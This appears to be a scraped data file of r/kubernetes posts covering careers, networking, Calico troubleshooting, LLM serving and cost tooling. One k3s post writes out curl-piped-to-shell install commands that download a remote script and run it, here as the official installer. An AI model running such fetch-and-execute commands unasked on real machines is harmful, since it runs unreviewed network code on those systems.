1u4w5h4,kubernetes,Kubernetes Org Member + Fresh Grad: Is attending KubeCon India next week worth it for the job hunt?,"Hi everyone! I'm officially a Kubernetes org. member and have contributed to upstream projects. I also have a strong interest in distributed systems. I just graduated this month with my B. Tech and I'm looking to kickstart my career in the cloud-native space. My main goals are- 1) landing a job/internship 2) Networking & projects 3) Inspiration How open are the sponsor booths and engineering managers to hiring freshers with upstream open-source contributions? Any advice on how I can best navigate the event to find a platform/infra role?",Electronic_Hat_471,8,2,1781370072,/r/kubernetes/comments/1u4w5h4/kubernetes_org_member_fresh_grad_is_attending/,https://www.reddit.com/r/kubernetes/comments/1u4w5h4/kubernetes_org_member_fresh_grad_is_attending/,self.kubernetes,True,0.66,False,,arctic-shift,1781885545 1u4ve40,kubernetes,Ipvs is dead,"As titel says ipvs is dead from 1.37 (eks 1.36). So before upgrading cluster make sure that you switched from ipvs to ebpf or nftables. [Kep-5495](https://github.com/kubernetes/enhancements/blob/master/keps/sig-network/5495-deprecate-ipvs-mode-in-kube-proxy/kep.yaml)",JeffFartEater69,1,1,1781368257,/r/kubernetes/comments/1u4ve40/ipvs_is_dead/,https://www.reddit.com/r/kubernetes/comments/1u4ve40/ipvs_is_dead/,self.kubernetes,True,0.57,False,,arctic-shift,1781885545 1u47zeb,kubernetes,"Agent Sandbox and Lovable, with Jonathan Grahl","How do you run agents at scale in production when you're handling hundreds of thousands of new projects every single day? We sat down with Jonathan Grahl, Infrastructure Lead at Lovable, to discuss how they manage massive pod churn, optimize Kubernetes, and scale AI agents. [https://kubernetespodcast.com/episode/268-lovable/](https://kubernetespodcast.com/episode/268-lovable/)",kubernetespodcast,8,0,1781299166,/r/kubernetes/comments/1u47zeb/agent_sandbox_and_lovable_with_jonathan_grahl/,https://www.reddit.com/r/kubernetes/comments/1u47zeb/agent_sandbox_and_lovable_with_jonathan_grahl/,self.kubernetes,True,0.79,False,,arctic-shift,1781885545 1u3qz3q,kubernetes,Weekly: Share your victories thread,Got something working? Figure something out? Make progress that you are excited about? Share here!,AutoModerator,2,2,1781258408,/r/kubernetes/comments/1u3qz3q/weekly_share_your_victories_thread/,https://www.reddit.com/r/kubernetes/comments/1u3qz3q/weekly_share_your_victories_thread/,self.kubernetes,True,1,False,Periodic,arctic-shift,1781885545 1u3qtb1,kubernetes,Install kubescape in air gapped env,,aloalodom,1,0,1781257860,/r/kubernetes/comments/1u3qtb1/install_kubescape_in_air_gapped_env/,/r/u_aloalodom/comments/1u3nqmy/install_kubescape_in_air_gapped_env/,,False,1,False,,arctic-shift,1781885545 1u3q34g,kubernetes,"Does platform complexity really come from technology, or from the countless small exceptions that accumulate over time?","One pattern I've noticed in growing platform teams is that complexity rarely comes from introducing new technologies. It comes from accumulating exceptions. A slightly different Kubernetes configuration for one project. A custom networking model for another. A database deployed with different assumptions because ""it was faster at the time."" Each decision makes perfect sense in isolation. A few years later, however, platform teams often spend more time understanding existing systems than building new ones. That's why I find the idea of **Composable Architecture** so compelling: treating infrastructure as a collection of reusable, governed building blocks rather than unique implementations. The goal isn't just reuse. It's about embedding security, compliance, and operational standards directly into the components themselves, so every new platform starts from a consistent foundation instead of reinventing the same patterns over and over again. I recently read an article that explores this approach through an **Atom → Molecule → Fractal** model, and I thought it offered an interesting perspective on how to build scalable platforms without multiplying complexity. **Article:** [Composable Architecture](https://fractal.cloud/blog/composable-architecture-how-to-build-platforms-that-scale-without-multiplying-complexity) ",Soni4_91,1,0,1781255255,/r/kubernetes/comments/1u3q34g/does_platform_complexity_really_come_from/,https://www.reddit.com/r/kubernetes/comments/1u3q34g/does_platform_complexity_really_come_from/,self.kubernetes,True,0.99,False,,arctic-shift,1781885545 1u3pvev,kubernetes,"Does platform complexity really come from technology, or from the countless small exceptions that accumulate over time?","One pattern I've noticed in growing platform teams is that complexity rarely comes from introducing new technologies. It comes from accumulating exceptions. A slightly different Kubernetes configuration for one project. A custom networking model for another. A database deployed with different assumptions because ""it was faster at the time."" Each decision makes perfect sense in isolation. A few years later, however, platform teams often spend more time understanding existing systems than building new ones. That's why I find the idea of **Composable Architecture** so compelling: treating infrastructure as a collection of reusable, governed building blocks rather than unique implementations. The goal isn't just reuse. It's about embedding security, compliance, and operational standards directly into the components themselves, so every new platform starts from a consistent foundation instead of reinventing the same patterns over and over again. I recently read an article that explores this approach through an **Atom → Molecule → Fractal** model, and I thought it offered an interesting perspective on how to build scalable platforms without multiplying complexity. **Article:** [Composable Architecture](https://fractal.cloud/blog/composable-architecture-how-to-build-platforms-that-scale-without-multiplying-complexity?utm_source=Reddit&utm_medium=organic_social&utm_campaign=Composable_Architecture&utm_content=company-post-20260612) ",Soni4_91,1,0,1781254500,/r/kubernetes/comments/1u3pvev/does_platform_complexity_really_come_from/,https://www.reddit.com/r/kubernetes/comments/1u3pvev/does_platform_complexity_really_come_from/,self.kubernetes,True,0.99,False,,arctic-shift,1781885545 1u3ov0z,kubernetes,"Agent gateway patterns, how do you govern multi-agent pipelines?",[removed],[deleted],1,0,1781250866,/r/kubernetes/comments/1u3ov0z/agent_gateway_patterns_how_do_you_govern/,,,True,1,False,,arctic-shift,1781885545 1u3n4dx,kubernetes,Managing Kubernetes at Scale Is Getting Harder,"As Kubernetes environments grow, troubleshooting becomes increasingly complex. A single incident can require checking logs, metrics, events, deployments, and multiple dashboards just to understand what went wrong. I've noticed that the biggest challenge isn't detecting issues anymore—it's identifying the root cause quickly enough to reduce downtime. How are teams here handling incident investigation at scale? Are you still relying on manual debugging workflows, or have you adopted automation/AI tools for root cause analysis and incident response? Curious to hear what's working for everyone.",Kubernetes_AI,0,0,1781244763,/r/kubernetes/comments/1u3n4dx/managing_kubernetes_at_scale_is_getting_harder/,https://www.reddit.com/r/kubernetes/comments/1u3n4dx/managing_kubernetes_at_scale_is_getting_harder/,self.kubernetes,True,0.5,False,,arctic-shift,1781885545 1u3ikrk,kubernetes,How are you handling LLM model distribution in Kubernetes clusters?,"I’m curious how teams are solving model distribution for local LLM serving. For small setups, pulling directly from Hugging Face or ModelScope is usually fine. But once you have multiple nodes, large models, private networks, or frequent scale-outs, the problem gets less trivial. A few patterns I’ve seen: * Pull directly from Hugging Face / [ModelScope](https://github.com/modelscope) * Mirror models into an internal model hub * Store models as OCI artifacts in Harbor or another registry * Use Dragonfly or similar P2P distribution for node-level caching * Use runtime-level optimizations for faster worker / GPU startup * or Run:ai Model Streamer? Mentioned in [GKE blog](https://docs.cloud.google.com/kubernetes-engine/docs/how-to/persistent-volumes/run-ai-model-streamer) With Kubernetes Image Volume / KEP-4639, storing model weights as OCI artifacts seems more attractive. The model server image can stay small, and the model itself can be mounted separately as a read-only volume. But I’m not sure this fully solves the distribution problem. If every node still pulls a 50GB–200GB model from the same registry during scale-out, the bottleneck just moves to registry bandwidth, node disk IO, or cache warmup. So I’m wondering how people are handling this in production: * Do you pull directly from Hugging Face / ModelScope, or always sync to an internal source first? * Are you using an internal Hugging Face-like model hub? Like [MatrixHub](https://github.com/matrixhub-ai/matrixhub). * Has anyone used [Harbor](https://github.com/goharbor/harbor) \+ OCI artifacts for model weights? * Is Dragonfly or P2P distribution useful for large model rollout? Or GPUtoGPU P2P solution: [model express](https://github.com/ai-dynamo/modelexpress). * Are you planning to use Kubernetes Image Volume for model mounting? * Where is the real bottleneck in practice: remote download, registry, node cache, disk IO, or GPU loading? My current impression is that these tools solve different layers: * Hugging Face / ModelScope: public model source * Private model hub: model governance and developer workflow * Harbor / OCI registry: artifact management * Dragonfly: large-scale node distribution * Runtime cache / weight transfer: faster serving startup So maybe the right question is not “which one replaces the others,” but how these layers should fit together. Curious what setups people are actually running. https://preview.redd.it/cllbyr08hr6h1.png?width=1672&format=png&auto=webp&s=9d65ff7359a02a77b999490e5866266342b7b138 Some solutions diagrams in https://github.com/pacoxu/AI-Infra/blob/1f14ebfbc0601fcded6e681ccbcd558b69cd1303/docs/inference/model-distribution-stack.md. 1. Dragonfly 2. Matrixhub [https://github.com/matrixhub-ai/matrixhub](https://github.com/matrixhub-ai/matrixhub) 3. ModelExpress [https://github.com/ai-dynamo/modelexpress](https://github.com/ai-dynamo/modelexpress) ",Electronic_Role_5981,29,7,1781230680,/r/kubernetes/comments/1u3ikrk/how_are_you_handling_llm_model_distribution_in/,https://www.reddit.com/r/kubernetes/comments/1u3ikrk/how_are_you_handling_llm_model_distribution_in/,self.kubernetes,True,0.93,False,,arctic-shift,1781885545 1u3ek16,kubernetes,small k8s tools that saved me time debugging boring problems,"not sure if this is useful to anyone, but i’ve been cleaning up a few older clusters lately and realized half the job is just finding the right small tool for the right annoying problem. some stuff that helped: **for “what the hell owns this?” problems** `kubectl tree` has been great. especially when some operator keeps recreating things and nobody remembers where the object came from. **for logs across messy replicas** `stern` is still one of those tools i forget about, then use once and wonder why i was fighting `kubectl logs` for 20 minutes. **for quick cluster navigation** `k9s`. obvious one, but still worth mentioning. it’s usually the fastest way to notice restarts, bad events, weird pod states, etc. **for resource request cleanup** `Goldilocks` is useful as a starting point. i wouldn’t blindly apply what it says, but it’s good for finding deployments that are obviously oversized. **for finding ugly cluster config** `Popeye` catches a lot of small stuff that doesn’t break anything today but makes the cluster slowly turn into garbage over time. **for PVC / EBS waste** this is the annoying one. `Kubecost` can show the cost side, but it doesn’t really solve the cleanup problem. i’ve seen `Datafy` mentioned for EBS-backed PVC reclamation, which is interesting because shrinking/cleaning up oversized PVCs is usually where teams get stuck. **for backups before touching anything scary** `Velero`. not exciting, but when stateful workloads are involved, boring is good. curious what small k8s tools people here actually keep using after the first week, especially for storage/PVC cleanup and stateful workload debugging.",bytezvex,165,27,1781219512,/r/kubernetes/comments/1u3ek16/small_k8s_tools_that_saved_me_time_debugging/,https://www.reddit.com/r/kubernetes/comments/1u3ek16/small_k8s_tools_that_saved_me_time_debugging/,self.kubernetes,True,0.98,False,,arctic-shift,1781885545 1u3c53g,kubernetes,Web Developer starting DevOps role at Defense org. I have 1 month to learn.,"My background is primarily in web development but I was able to land a position at a Defense company where I'll need to learn Kubernetes, Docker, and Helm. I have one month before I start. Should I be going for breadth or depth and would you suggest trying to get a cert or building small apps ?",Schopenhauer1859,8,31,1781213508,/r/kubernetes/comments/1u3c53g/web_developer_starting_devops_role_at_defense_org/,https://www.reddit.com/r/kubernetes/comments/1u3c53g/web_developer_starting_devops_role_at_defense_org/,self.kubernetes,True,0.64,False,,arctic-shift,1781885545 1u3av6b,kubernetes,OTel and Mesh-Derived Metrics,,cathpaga,1,1,1781210565,/r/kubernetes/comments/1u3av6b/otel_and_meshderived_metrics/,/r/linkerd/comments/1u3atx8/otel_and_meshderived_metrics/,,False,1,False,,arctic-shift,1781885545 1u383v0,kubernetes,In need of help: Stuck in `ContainerCreating`,"First off, I have far too little idea of Kubernetes, this as a disclaimer. Half a year ago, our Kubernetes experts updated something and also containerd (is it pronounced containder-dee or contai-nerd?), since then we had issues. From time to time pods were stuck in \`ContainerCreating\` - which, after roughly 10k to 20k of paid work, was apparently due to my CI/CD pipeline. The issue should have been fixed. Until I tried deploying my backend today. Pods were stuck in \`ContainerCreating\` (ok, most of mine had \`ImagePullBackOff\`, as I buggered up the tagging of my images), and, what struck most, also Valkey. Which should work. So, I had a snoop around (with the help of AI, remember, I have no idea - I know some \`kubectl get pods\` and with my notes I can force-delete them) and the issue was Calico. It turns out, we paid our experts for a (stuck) CRON-job with schedule: \`0 2 \* \* \*\` that just restarts the daemonset kubectl rollout restart daemonset -n kube-system calico-node              kubectl rollout restart deployment -n kube-system calico-kube-controllers              echo ""Calico components restarted successfully""              sleep 30              kubectl delete po -n kube-system test-pod --ignore-not-found              kubectl run test-pod --image=nginx --rm -it --restart=Never -- echo ""Pod Creation test successful""            imagekubectl rollout restart daemonset -n kube-system calico-node              kubectl rollout restart deployment -n kube-system calico-kube-controllers              echo ""Calico components restarted successfully""              sleep 30              kubectl delete po -n kube-system test-pod --ignore-not-found              kubectl run test-pod --image=nginx --rm -it --restart=Never -- echo ""Pod Creation test successful"" Quite a costly ""fix"". But funnily enough, those jobs have been stuck for around 18 days. Turns out, we're running docker.io/calico/node:v3.23.5 - apparently, latest is v3.31.5... And according to Perplexity, v3.23.5 hasn't been tested for compatibility with Kubectl Server v1.35.0 So, what I've gathered so far: * two of my workers have a broken CNI state * 2026-06-11 18:15:52.185 \[WARNING\]\[78\] felix/int\_dataplane.go 896: Failed to auto-detect host MTU - no interfaces matched the MTU interface pattern. To use auto-MTU, set mtuIfacePattern to match your host's interfaces * \--> Main network interface is called `enX0`, but via `veth_mtu: ""0""` Calico is looking for `eth0` or so... * IPAM desync Has anyone an idea how to fix that? Or what could I tell our experts that the fix it, not only ""fix"" it?",DunklerErpel,0,22,1781204398,/r/kubernetes/comments/1u383v0/in_need_of_help_stuck_in_containercreating/,https://www.reddit.com/r/kubernetes/comments/1u383v0/in_need_of_help_stuck_in_containercreating/,self.kubernetes,True,0.45,False,,arctic-shift,1781885545 1u31e5i,kubernetes,Welcome to Certflation,"My team won't stop flexing their certifications, so I got the C.K.A and C.K.A.D in under a month and decided to collect the rest out of pure spite. We're well past inflation at this point. This is certflation.",Mountain-Pitch-2489,157,68,1781189788,/r/kubernetes/comments/1u31e5i/welcome_to_certflation/,https://www.reddit.com/r/kubernetes/comments/1u31e5i/welcome_to_certflation/,self.kubernetes,True,0.92,False,,arctic-shift,1781885545 1u2z4rn,kubernetes,Have admission webhooks ever become a recovery-path dependency in your clusters?,,AbilityAwkward5372,5,4,1781184562,/r/kubernetes/comments/1u2z4rn/have_admission_webhooks_ever_become_a/,/r/u_AbilityAwkward5372/comments/1u2z1mu/have_admission_webhooks_ever_complicated_recovery/,,False,1,False,,arctic-shift,1781885545 1u2uqb0,kubernetes,Weekly: This Week I Learned (TWIL?) thread,Did you learn something new this week? Share here!,AutoModerator,5,12,1781172007,/r/kubernetes/comments/1u2uqb0/weekly_this_week_i_learned_twil_thread/,https://www.reddit.com/r/kubernetes/comments/1u2uqb0/weekly_this_week_i_learned_twil_thread/,self.kubernetes,True,0.86,False,Periodic,arctic-shift,1781885545 1u2u8o5,kubernetes,"La complessità di una piattaforma deriva davvero dalla tecnologia, o piuttosto dalle innumerevoli piccole eccezioni che si accumulano nel tempo?",,Soni4_91,1,2,1781170288,/r/kubernetes/comments/1u2u8o5/la_complessità_di_una_piattaforma_deriva_davvero/,/r/platformengineering/comments/1u2u8d8/does_platform_complexity_really_come_from/,,False,1,False,,arctic-shift,1781885545 1u2q5qo,kubernetes,AI agents in k8s,"It seems to me that Kubernetes is the natural environment for AI agents. Who among you has agents running in production on your K8s? [View Poll](https://www.reddit.com/poll/1u2q5qo)",trutzio,0,11,1781156004,/r/kubernetes/comments/1u2q5qo/ai_agents_in_k8s/,https://www.reddit.com/r/kubernetes/comments/1u2q5qo/ai_agents_in_k8s/,self.kubernetes,True,0.3,False,,arctic-shift,1781885545 1u2mpkm,kubernetes,Question on using cert-manager in K8s,"I just need clarification if we made the right decision utilizing cert-manager in the K8s ecosystem. We are a AWS workshop and utilize AWS EKS in 4 VPC CIDRs (i.e. corp, dev, stage, production). We currently use cert-manager with DNS-01 challenge to our main [foo.com](http://foo.com) Public Hosted Zone where cert-manager has [dev.foo.com](http://dev.foo.com), [prod.foo.com](http://prod.foo.com), stage.foo.com, and corp.foo.com. All being for internal use. We use Envoy Gateway as an ingress controller and with everything combined with our NLB, everything works perfectly for internal services. My other DevOps engineer and I were uncertain if we should go the HTTP-01 or DNS-01 challenge but ended up with DNS-01. The only purpose we would use it is for our internal services such as Grafana, Gitlab, ArgoCD, etc. Did we do the right approach? We were considering creating another Public Hosted Zone foo.internal for internal use using DNS-01 challenge to differentiate the differences. Thanks for reading my question!",DopeyMcDouble,12,15,1781145692,/r/kubernetes/comments/1u2mpkm/question_on_using_certmanager_in_k8s/,https://www.reddit.com/r/kubernetes/comments/1u2mpkm/question_on_using_certmanager_in_k8s/,self.kubernetes,True,0.93,False,,arctic-shift,1781885545 1u2kb8t,kubernetes,Sharing the same static IP for each application's ingress and egress gateways,"Hi! We are running a small Rancher Kubernetes Engine 2 (RKE2) cluster with 5 worker nodes. Our CNI is Calico and using Istio as our service mesh, primarily for mTLS and ingress gateway, as well as MetalLB for load balancer pool of IPs. The networking team have made the request that each application deployed within the cluster, approximately 30, be assigned one static IP, which is to be shared for ingress and egress. This way they can create tight firewall flows to services outside the cluster using specific IPs. My question is, how can I configure each application egress traffic outside of the cluster to set a specific source IP? Most of my research points me to using nodes dedicated to egress traffic, but given our node counts, not sure this would allow us to configure dozens of egress IPs. Thank you.",Pale-Addition-9000,0,6,1781139045,/r/kubernetes/comments/1u2kb8t/sharing_the_same_static_ip_for_each_applications/,https://www.reddit.com/r/kubernetes/comments/1u2kb8t/sharing_the_same_static_ip_for_each_applications/,self.kubernetes,True,0.4,False,,arctic-shift,1781885545 1u2h0ct,kubernetes,I built an AI agent that diagnoses CrashLoopBackOff in plain English –," Disclosure: I built this. Been doing Kubernetes for 7 years. The part that still takes the longest isn't knowing the fix — it's the 20 minutes of kubectl spelunking just to understand what's actually wrong. Built zane to fix that. You run it, ask a question in plain English, and it calls the right kubectl reads itself — logs, events, describe, limits — then returns a cited answer with the exact source. Not a summary. The exact log line and event that caused it. Example: > why is checkout-api crashing? [diagnose_pod...] [get_pod_logs...] Root cause: OOM Kill — memory limit 512Mi hit at peak Log line 47: ""cannot allocate memory in static TLS block"" Fix: kubectl set resources deploy/checkout-api --limits=memory=1Gi Apply? [y/N]: y ✓ done It's a full conversation loop — ask follow-ups, drill into specific pods, apply the fix with y/N confirmation. Nothing runs silently. This is phase 1 — core Kubernetes. What I'm building next is the full operator CLI: same conversational layer across ArgoCD app health, Helm release diffs, Istio traffic errors, Prometheus alert context, cert-manager failures. One tool that understands your entire platform, not just pods and deployments. Open source, Apache 2.0. On Krew today: kubectl krew install zane GitHub: https://github.com/zarakM/zane Would genuinely love feedback from people running production clusters — which layer causes you the most pain right now?",TraditionProof9431,0,2,1781130415,/r/kubernetes/comments/1u2h0ct/i_built_an_ai_agent_that_diagnoses/,https://www.reddit.com/r/kubernetes/comments/1u2h0ct/i_built_an_ai_agent_that_diagnoses/,self.kubernetes,True,0.15,False,,arctic-shift,1781885545 1u2adlp,kubernetes,"Learning AI Platform Engineering: GPUs, Ray, vLLM, and Kubernetes","I spent the last week learning **AI Platform Engineering**. I wrote short blogs on topics like: * GPUs in Kubernetes * GPU scheduling * Ray * vLLM * AI platform architecture Many of the problems felt more like distributed systems and scheduling problems than ML problems. Sharing the series link: [https://milinddethe15.tech/tags/7-days-of-ai-platform-engineering](https://milinddethe15.tech/tags/7-days-of-ai-platform-engineering) Would appreciate any feedback. Also, if you are working in this space, what topic should I explore next?",MaiMilindHu,58,7,1781115635,/r/kubernetes/comments/1u2adlp/learning_ai_platform_engineering_gpus_ray_vllm/,https://www.reddit.com/r/kubernetes/comments/1u2adlp/learning_ai_platform_engineering_gpus_ray_vllm/,self.kubernetes,True,0.93,False,,arctic-shift,1781885545 1u25vnw,kubernetes,Building a multi-region deployment platform with centralized control plane.,"Building a multi-region deployment platform with centralized control plane. Current setup: * Apps can deploy into any region/cloud * Vector for log collection * ClickHouse for historical logs * Redis + SSE for realtime logs Main challenge: Cross-region runtime log transfer cost. Example: Application deployed in India/Africa/London continuously shipping logs to centralized ClickHouse in US region. Exploring approaches like: * centralized ClickHouse with compression/batching * short retention for runtime logs * storing only important logs centrally * on-demand live log streaming Curious how modern platforms usually handle this tradeoff at scale.",WillingnessRoyal3893,3,3,1781106227,/r/kubernetes/comments/1u25vnw/building_a_multiregion_deployment_platform_with/,https://www.reddit.com/r/kubernetes/comments/1u25vnw/building_a_multiregion_deployment_platform_with/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u1zptb,kubernetes,I put together 50 Kubernetes interview questions grouped by level.,"If you look for most interview prep guides (or at least what I think of), they often become very clichéd and cover just the definition part. But when it comes to actual engineering interviews and senior roles, this is definitely not enough. They do grill you practically tbh. To address this problem, I took some time, sat with people who have expertise in Kubernetes, and peers who have cracked the interview, and [came up with this guide](https://roadmap.sh/questions/kubernetes). It covers scheduling, networking, ConfigMaps and Secrets, the Deployment versus StatefulSet distinction, and the three pod failure states with debugging workflows for each. Lemme know if you would find this helpful, and what else I can add into this.",AvailablePeak8360,21,8,1781091615,/r/kubernetes/comments/1u1zptb/i_put_together_50_kubernetes_interview_questions/,https://www.reddit.com/r/kubernetes/comments/1u1zptb/i_put_together_50_kubernetes_interview_questions/,self.kubernetes,True,0.68,False,,arctic-shift,1781885545 1u1xsno,kubernetes,Weekly: Show off your new tools and projects thread,"Share any new Kubernetes tools, UIs, or related projects!",AutoModerator,11,11,1781085642,/r/kubernetes/comments/1u1xsno/weekly_show_off_your_new_tools_and_projects_thread/,https://www.reddit.com/r/kubernetes/comments/1u1xsno/weekly_show_off_your_new_tools_and_projects_thread/,self.kubernetes,True,1,False,Periodic,arctic-shift,1781885545 1u1xibo,kubernetes,k3s network switch compatible cluster,"I'm new k3s i have a unique requirement i need to setup k3s in air gaped environment setting up air gapped environment seems little bit complex so what i'm thinking is intially i will connect to a network where i have internet , in my case i have 5 vms settuped using proxmox i will run ""curl -sfL [https://get.k3s.io](https://get.k3s.io/) | sh -s - server --cluster-init"" in vm1 and now in all other vms i will make an entry in /etc/hosts with the ip of vm1 and i will join the master and worker like this curl -sfL [https://get.k3s.io](https://get.k3s.io/) | \\ K3S\_TOKEN="""" sh -s - agent \\ \--server [https://vm1:6443](https://vm1:6443/) curl -sfL [https://get.k3s.io](https://get.k3s.io/) | K3S\_TOKEN="""" sh -s - server \\ \--server [https://vm1:644](https://vm1:644/) after i deploy all my workloads i will change the /etc/hosts in all my vms and will switch back to the air gaped network and restart the k3s and k3s-agent will my cluster work as it is is my approach valid if not suggest me a best approach",akhilesh_gone,2,6,1781084689,/r/kubernetes/comments/1u1xibo/k3s_network_switch_compatible_cluster/,https://www.reddit.com/r/kubernetes/comments/1u1xibo/k3s_network_switch_compatible_cluster/,self.kubernetes,True,0.6,False,,arctic-shift,1781885545 1u1wm57,kubernetes,Why are you running VirtualKubelets?,"I’m curious how many people here are using Virtual Kubelet in production (or even in homelabs), and what problems it’s solving for you. What was the main reason for adopting it? Are you using it for burst capacity, cost optimization, multi-cloud, edge workloads, CI/CD jobs, AI workloads, or something else? How has the operational experience been compared to running regular Kubernetes nodes? Any limitations, surprises, or lessons learned? Virtual Kubelet has been around for quite a while, but I don’t see it discussed very often. I’d love to hear real-world use cases, whether successful or not. If you’re no longer using it, what made you move away from it?",Shanduur,6,3,1781081520,/r/kubernetes/comments/1u1wm57/why_are_you_running_virtualkubelets/,https://www.reddit.com/r/kubernetes/comments/1u1wm57/why_are_you_running_virtualkubelets/,self.kubernetes,True,0.75,False,,arctic-shift,1781885545 1u1wimc,kubernetes,Kthena makes Kubernetes LLM inference simplified,"We are pleased to anounce the first release of kthena.  A Kubernetes-native LLM inference platform designed for efficient deployment and management of Large Language Models in production. [https://github.com/volcano-sh/kthena](https://github.com/volcano-sh/kthena) **Why should we choose kthena for cloudnative inference** **Production-Ready LLM Serving** Deploy and scale Large Language Models with enterprise-grade reliability, supporting vLLM, SGLang, Triton, and TorchServe inference engines through consistent Kubernetes-native APIs. **Simplified LLM Management** * **Prefill-Decode Disaggregation**: Separate compute-intensive prefill operations from token generation decode processes to optimize hardware utilization and meet latency-based SLOs. * **Cost-Driven Autoscaling**: Intelligent scaling based on multiple metrics (CPU, GPU, memory, custom) with configurable budget constraints and cost optimization policies * **Zero-Downtime Updates**: Rolling model updates with configurable strategies * **Dynamic LoRA Management**: Hot-swap adapters without service interruption **Built-in Network Topology-Aware Scheduling** Network topology-aware scheduling places inference instances within the same network domain to maximize inter-instance communication bandwidth and enhance inference performance. **Built-in Gang Scheduling** Gang scheduling ensures atomic scheduling of distributed inference groups like xPyD, preventing resource waste from partial deployments. **Intelligent Routing & Traffic Control** * Multi-model routing with pluggable load-balancing algorithms, including model load aware and KV-cache aware strategies. * PD group aware request distribution for xPyD (x-prefill/y-decode) deployment patterns. * Rich traffic policies, including canary releases, weighted traffic distribution, token-based rate limiting, and automated failover. * LoRA adapter aware routing without inference outage",DiscussionWrong9402,0,1,1781081178,/r/kubernetes/comments/1u1wimc/kthena_makes_kubernetes_llm_inference_simplified/,https://www.reddit.com/r/kubernetes/comments/1u1wimc/kthena_makes_kubernetes_llm_inference_simplified/,self.kubernetes,True,0.4,False,,arctic-shift,1781885545 1u1vy05,kubernetes,"K8s Development Trap: Local Works, Prod Breaks. Lessons from Tetragon",[removed],Good-Cockroach3602,1,0,1781079103,/r/kubernetes/comments/1u1vy05/k8s_development_trap_local_works_prod_breaks/,https://dev.to/gromyko21/k8s-development-trap-local-works-prod-breaks-lessons-from-tetragon-4b47,dev.to,False,1,False,,arctic-shift,1781885545 1u1vwyp,kubernetes,"K8s Development Trap: Local Works, Prod Breaks. Lessons from Tetragon",[removed],Good-Cockroach3602,1,0,1781079005,/r/kubernetes/comments/1u1vwyp/k8s_development_trap_local_works_prod_breaks/,https://www.reddit.com/r/kubernetes/comments/1u1vwyp/k8s_development_trap_local_works_prod_breaks/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u1u34f,kubernetes,Multi dns in my values.yaml,"Hi, atm i've got one dns in my values.yaml file like this : ingress:   dns: google.com ingress: dns: [google.com](http://google.com) I want to add another dns (client want specific url) how can I do this ? Something like this : hosts:   - google.com   - amazon.com I have change to make in my ingress.yaml file ? Thanks for the help ",Lucastagnette,0,0,1781072719,/r/kubernetes/comments/1u1u34f/multi_dns_in_my_valuesyaml/,https://www.reddit.com/r/kubernetes/comments/1u1u34f/multi_dns_in_my_valuesyaml/,self.kubernetes,True,0.5,False,,arctic-shift,1781885545 1u1s9cy,kubernetes,Here's every edge case I found,"Spent the last several months going down a rabbit hole: I wanted to understand how Kubecost actually knows what a pod costs. Not the high-level answer — the actual implementation. So I built it myself from scratch. 1,700 lines of Python pulling directly from kube-state-metrics, cAdvisor, node-exporter, and the AWS pricing APIs. No Kubecost. No OpenCost as a dependency. Just the math applied directly to raw Prometheus metrics. Then I extended OpenCost upstream, provisioned a full multi-cluster EKS hub-and-spoke setup in a single Terraform file, and built a multi-tenant cost platform on top of all of it. Here's what actually surprised me along the way: \*\*Cross-AZ traffic bills both sides\*\* I assumed it was just sender egress. Nope — receiver also pays $0.01/GB within a region. OpenCost upstream only tracked egress. Once we added the ingress side, our cross-AZ attribution doubled in accuracy. This one silently inflates your network costs if you miss it. \*\*NAT Gateway pricing changes per region\*\* us-east-1 is $0.045/GB. ap-south-1 is $0.056/GB. That's a 24% difference. OpenCost had it hardcoded to the US rate, so every non-us-east-1 deployment was silently undercharging. We contributed a fix upstream that fetches it dynamically from the AWS pricing API. \*\*hostNetwork pods will destroy your network cost accuracy\*\* The conntrack DaemonSet emits identical byte counts for every hostNetwork pod on the same node — because they all share the node IP. Without deduplication, network costs inflate 3-5x. You need to keep one canonical pod per node and drop the rest. Took me an embarrassingly long time to figure this one out. \*\*kube-proxy traffic appears under the wrong namespace\*\* The kubecost network agent attributes kube-proxy and aws-node traffic to its own namespace. If you're doing chargeback or department-level cost attribution, this distorts everything. Fix is to use kube\_pod\_info as ground truth and override the attribution. \*\*Use Decimal not float for cost math\*\* Seems obvious in hindsight. You're multiplying tiny per-core rates across thousands of containers and hours. Float drift compounds. We switched everything to Python's Decimal with 28 significant digits and ROUND\_HALF\_UP — every Prometheus value goes str → Decimal directly, never through float. The numbers stopped drifting. \*\*Three EKS clusters in one Terraform file needs explicit provider aliasing\*\* Without it, Helm silently deploys to the wrong cluster and Terraform reports success. No error. No warning. Just your kube-prometheus-stack quietly running on the wrong cluster. Explicit kubernetes and helm provider blocks per cluster, every time. \*\*Recording rules are not optional once you have real pod counts\*\* Without them, cost scrapes that fan out across hundreds of pods take multiple seconds and create visible Prometheus spikes. Namespace rollup recording rules at 60-second intervals dropped our query time from \~4s to under 100ms. \*\*The EKS control plane fee vanishes from pod-level attribution\*\* $0.10/hr = $72/month per cluster. Shows up on your AWS bill. Never appears in any pod-level metric. Most FinOps tools either miss it entirely or throw it into an unallocated bucket. Worth surfacing explicitly — it's often the thing that makes teams realize they're running 3 clusters when 2 would do. \*\*Multi-tenancy is a schema decision not a feature\*\* Org isolation needs to be in every table relationship from day one. We retrofitted it across 20 endpoints after the fact. It was the worst refactor in the entire project. Don't do this. \--- The thing that surprised me most overall: the deeper I went, the less this felt like a cost problem. It became a distributed systems problem, a data modeling problem, a Prometheus cardinality problem. The workloads wasting the most money were also the least healthy workloads — OOM killing, crash looping, over-provisioned. Cost waste and reliability issues turn out to be the same problem viewed from different angles. Happy to go into more detail on any of these in the comments. Full visual breakdown with architecture diagrams here if that's useful: [https://www.linkedin.com/posts/karan-ramrakhyani-349a32191\_kubernetes-finops-opencost-ugcPost-7470321425019703297-VVP9/](https://www.linkedin.com/posts/karan-ramrakhyani-349a32191_kubernetes-finops-opencost-ugcPost-7470321425019703297-VVP9/)",Forsaken2_0,1,6,1781066805,/r/kubernetes/comments/1u1s9cy/heres_every_edge_case_i_found/,https://www.reddit.com/r/kubernetes/comments/1u1s9cy/heres_every_edge_case_i_found/,self.kubernetes,True,0.51,False,,arctic-shift,1781885545 1u1h46f,kubernetes,"Right-sizing pod requests didn't shrink our node count. The fix was decoupling resize from consolidation, curious if others solved it differently.","# TL;DR >Right-sizing pod requests downward didn't shrink our node count or our bill. Smaller requests only create room to consolidate, and PDBs + conservative Karpenter settings block the disruption that consolidation needs. We fixed it by decoupling the two: continuous in-place right-sizing runs anytime (no disruption), while the eviction/node-draining that actually sheds nodes only runs inside a disruption window you define. Looking for input on whether a time window is enough or if people need conditions instead. GitHub: 